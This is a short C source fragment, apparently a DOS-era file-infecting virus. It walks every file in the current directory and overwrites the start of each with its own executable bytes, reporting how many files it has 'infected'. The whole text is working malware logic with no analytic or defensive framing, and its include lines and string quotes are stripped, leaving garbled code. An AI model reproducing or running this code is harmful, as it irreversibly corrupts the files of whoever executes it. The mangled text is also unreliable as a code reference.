Include
Include
FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end;
done=findfirst( *.* ,&ffblk,0); while(!done) { virus=fopen(_argv[0], rb ); host=fopen(ffblk.ff_name, rb+ ); if(host==NULL) goto next; x=89088; printf( Infecting %s\n ,ffblk.ff_name,a); while(x>2048) { fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; } fread(buff,x,1,virus); fwrite(buff,x,1,host); a++; next: { fcloseall(); done=findnext(&ffblk); } } printf( DONE! (Total Files Infected= %d) ,a); end=clock(); printf( TIME TAKEN=%f SEC\n , (end-st)/CLK_TCK); getch(); }